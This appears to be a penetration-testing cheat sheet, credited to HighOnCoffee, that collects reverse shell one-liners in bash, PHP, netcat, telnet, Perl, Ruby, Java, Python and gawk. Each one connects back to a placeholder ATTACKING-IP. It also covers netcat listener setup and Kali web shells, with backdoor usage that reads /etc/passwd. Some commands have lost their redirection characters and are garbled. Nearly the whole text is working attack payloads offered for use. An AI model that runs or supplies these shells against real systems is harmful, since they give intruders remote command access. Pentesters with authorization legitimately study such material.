What’s a reverse shell?
A reverse shell, also known as a remote shell or “connect-back shell,” takes advantage of the target system’s vulnerabilities to initiate a shell session and then access the victim’s computer.
During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.
Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.
Setup Listening Netcat
Your remote shell will need a listening netcat instance in order to connect back.
Set your Netcat listening shell on an allowed port
Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443
To setup a listening netcat instance, enter the following:
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
NAT requires a port forward
If you’re attacking machine is behing a NAT router, you’ll need to setup a port forward to the attacking machines IP / Port.
ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).
Bash Reverse Shells
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
PHP Reverse Shell
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
Netcat Reverse Shell
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
Telnet Reverse Shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
Remember to listen on 443 on the attacking machine also.
Perl Reverse Shell
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl Windows Reverse Shell
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby Reverse Shell
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java Reverse Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Python Reverse Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Gawk Reverse Shell
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Kali Web Shells
The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.
Kali PHP Web Shells
/usr/share/webshells/php/php-reverse-shell.php - Pen Test Monkey – PHP Reverse Shell.
/usr/share/webshells/php/php-findsock-shell.php/usr/share/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80.
/usr/share/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd.
/usr/share/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.
Tip: Executing Reverse Shells
The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.
Kali Perl Reverse Shell
/usr/share/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey – Perl Reverse Shell./usr/share/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd.
Kali Cold Fusion Shell
/usr/share/webshells/cfm/cfexec.cfm - Cold Fusion Shell – aka CFM Shell.
Kali ASP Shell
/usr/share/webshells/asp/ - Kali ASP Shells.
Kali ASPX Shells
/usr/share/webshells/aspx/ - Kali ASPX Shells.
Kali JSP Reverse Shell
/usr/share/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell.
Source & Reference - HighOnCoffee
